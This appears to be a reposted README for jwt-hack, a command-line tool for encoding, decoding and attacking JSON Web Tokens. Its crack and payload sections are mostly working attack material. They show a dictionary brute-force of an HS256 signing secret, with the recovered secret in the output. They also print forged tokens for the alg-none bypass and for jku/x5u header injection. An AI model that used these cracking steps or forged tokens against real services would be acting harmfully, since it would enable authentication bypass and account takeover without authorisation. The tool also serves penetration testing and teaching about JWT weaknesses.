JWT-Hack | Tool To En/Decoding JWT, Generate Payload For JWT Attack And Very Fast Cracking(Dict/Brutefoce)

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Hack the JWT(JSON Web Token)

jwt-hack

Installation

go-get(dev version)

▶ go get -u github.com/hahwul/jwt-hack

homebrew

▶ brew tap hahwul/jwt-hack
▶ brew install jwt-hack

snapcraft

▶ sudo snap install jwt-hack

Usage

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
Hack the JWT(JSON Web Token) | by @hahwul | v1.0.0

Usage:
  jwt-hack [command]

Available Commands:
  crack       Cracking JWT Token
  decode      Decode JWT to JSON
  encode      Encode json to JWT
  help        Help about any command
  payload     Generate JWT Attack payloads
  version     Show version

Flags:
  -h, --help   help for jwt-hack

1414

Encode mode(JSON to JWT)

▶ jwt-hack encode '{"json":"format"}' --secret={YOUR_SECRET}

e.g

▶ jwt-hack encode '{"test":"1234"}' --secret=asdf
   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
INFO[0000] Encoded result                                algorithm=HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoiMTIzNCJ9.JOL1SYkRZYUz9GVny-DgoDj60C0RLz929h1_fFcpqQA

Decode mode(JWT to JSON)

▶ jwt-hack decode {JWT_CODE}

e.g

▶ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
INFO[0000] Decoded data(claims)                          header="{\"alg\":\"HS256\",\"typ\":\"JWT\"}" method="&{HS256 5}"
{"iat":1516239022,"name":"John Doe","sub":"1234567890"}

Crack mode(Dictionary attack / BruteForce)

▶ jwt-hack crack -w {WORDLIST} {JWT_CODE}

e.g

▶ jwt-hack crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA -w samples/wordlist.txt

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
[*] Start dict cracking mode
INFO[0000] Loaded words (remove duplicated)              size=16
INFO[0000] Invalid signature                             word=fas
INFO[0000] Invalid signature                             word=asd
INFO[0000] Invalid signature                             word=1234
INFO[0000] Invalid signature                             word=efq
INFO[0000] Invalid signature                             word=asdf
INFO[0000] Invalid signature                             word=2q
INFO[0000] Found! Token signature secret is test         Signature=Verified Word=test
INFO[0000] Invalid signature                             word=dfas
INFO[0000] Invalid signature                             word=ga
INFO[0000] Invalid signature                             word=f
INFO[0000] Invalid signature                             word=ds
INFO[0000] Invalid signature                             word=sad
INFO[0000] Invalid signature                             word=qsf
...
INFO[0000] Invalid signature                             word=password
INFO[0000] Invalid signature                             word=error
INFO[0000] Invalid signature                             word=calendar
[+] Found! JWT signature secret: test
[+] Finish crack mode

Payload mode(Alg none attack, etc…)

▶ jwt-hack payload {JWT_CODE}

e.g

▶ jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA
   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
payload called
INFO[0000] Generate none payload                         header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate NonE payload                         header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate NONE payload                         header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate jku payload                          header="{\"alg\":\"hs256\",\"jku\":\"https://www.google.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate x5u payload                          header="{\"alg\":\"hs256\",\"x5u\":\"https://www.google.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

GitHub:

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